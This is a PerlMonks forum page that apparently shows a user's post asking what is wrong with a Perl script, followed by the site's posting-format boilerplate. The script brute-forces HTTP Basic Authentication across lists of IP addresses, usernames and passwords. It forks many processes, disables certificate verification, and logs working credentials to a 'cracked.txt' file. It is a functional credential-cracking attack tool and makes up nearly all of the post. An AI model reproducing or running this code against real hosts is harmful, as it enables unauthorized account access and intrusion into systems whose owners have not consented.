#!/usr/bin/perl use Parallel::ForkManager; use LWP::UserAgent; use MIME::Base64; #my $user = "admin"; my $ips = $ARGV[0]; my $users = $ARGV[1]; my $passwords = $ARGV[2]; my $max_processes = "10"; #wwwadmin open( IPS, "<$ips") || die " Cannot open the word file : $ips ! \n"; chomp(@ipslist = <IPS>); close(IPS); open( USERS, "<$users") || die " Cannot open the word file : $users +! \n"; chomp(@userlist = <USERS>); close(USERS); my @foundip; my @cracked; my $i = 0; my $forkmanager = new Parallel::ForkManager->new("1000"); $forkmanager->run_on_finish(sub { # must be declared before first ' +start' my ($pid, $exit_code, $ident, $exit_signal, $core_dump, $data) = @ +_; $out{ $data->[0] } = $data->[1]; #print "[onfinish]". $data->[0] ."\n"; if (($data->[1] == -1) or ($data->[1] == 1)) { push(@foundip,$data->[0]); } }); my $foundstring; my $cnt =0; my $match_found = 0; foreach $host (@ipslist) { print "\n==new Host===\n"; print $host . " - "; foreach $user (@userlist) { print "\n==new User===\n"; print $user . " - "; my $pid; $pid=fork(); if($pid>0){ $npids++; #print " Processes are: $npids\n" ; if($npids>=$max_processes){ for(1..($max_processes)){ my $wait_ret=wait(); if($wait_ret>0){ $npids--; } } } next; }elsif(undef $pid){ print " Fork error!\n"; exit(0); }else{ local $SIG{'ALRM'} = sub { exit(0); }; alarm 0; eval { $i++; $cnt =0; #print "\nFOUND:\n@foundip\n"; my $rez = 0; open($foundipFILE, "< $passwords"); while (<$foundipFILE>) { $line = $_; $line =~ s/\x0a//g; if (!grep {$_ eq $line} @foundip) { $cnt++; my $pid = $forkmanager->start and next; if((&crack($host,$user,$line)) == 1){ print "$host $user $line\n"; } else { print "[$cnt] [$line] failed with $use +r and $host \n"; } sleep(1); $forkmanager->finish(0, [ $line, $rez ]); # +Child exits }else{ #print "!!!!! $line was here\n"; } } close($foundipFILE); }; exit(0); } } } for(1..$npids){ my $wt=wait(); if($wt==-1){ print " is $!\n"; redo; } } # # $forkmanager->wait_all_children(); print "\n!!!!! FINISH !!!!!!\n"; sub crack{ my @parms = @_; my $url=$parms[0]; my $user=$parms[1]; my $pass=$parms[2]; my $info = "$user:$pass"; my $encode = encode_base64($info); my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },); my $res = $ua->get("$url", Authorization => "Basic $encode"); my $code = $res->status_line(); my $head = $res->as_string(); if($res->is_success) { if ($code =~ m/200/i){ print "\ncracked \n$url\n$code\n$info\n"; open(OUTPUT,">>cracked.txt"); print OUTPUT "$url $user $pass\n"; close (OUTPUT); return 1; } } else{ return 0; } }

In reply to whats ronge in this by lollolbadr

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.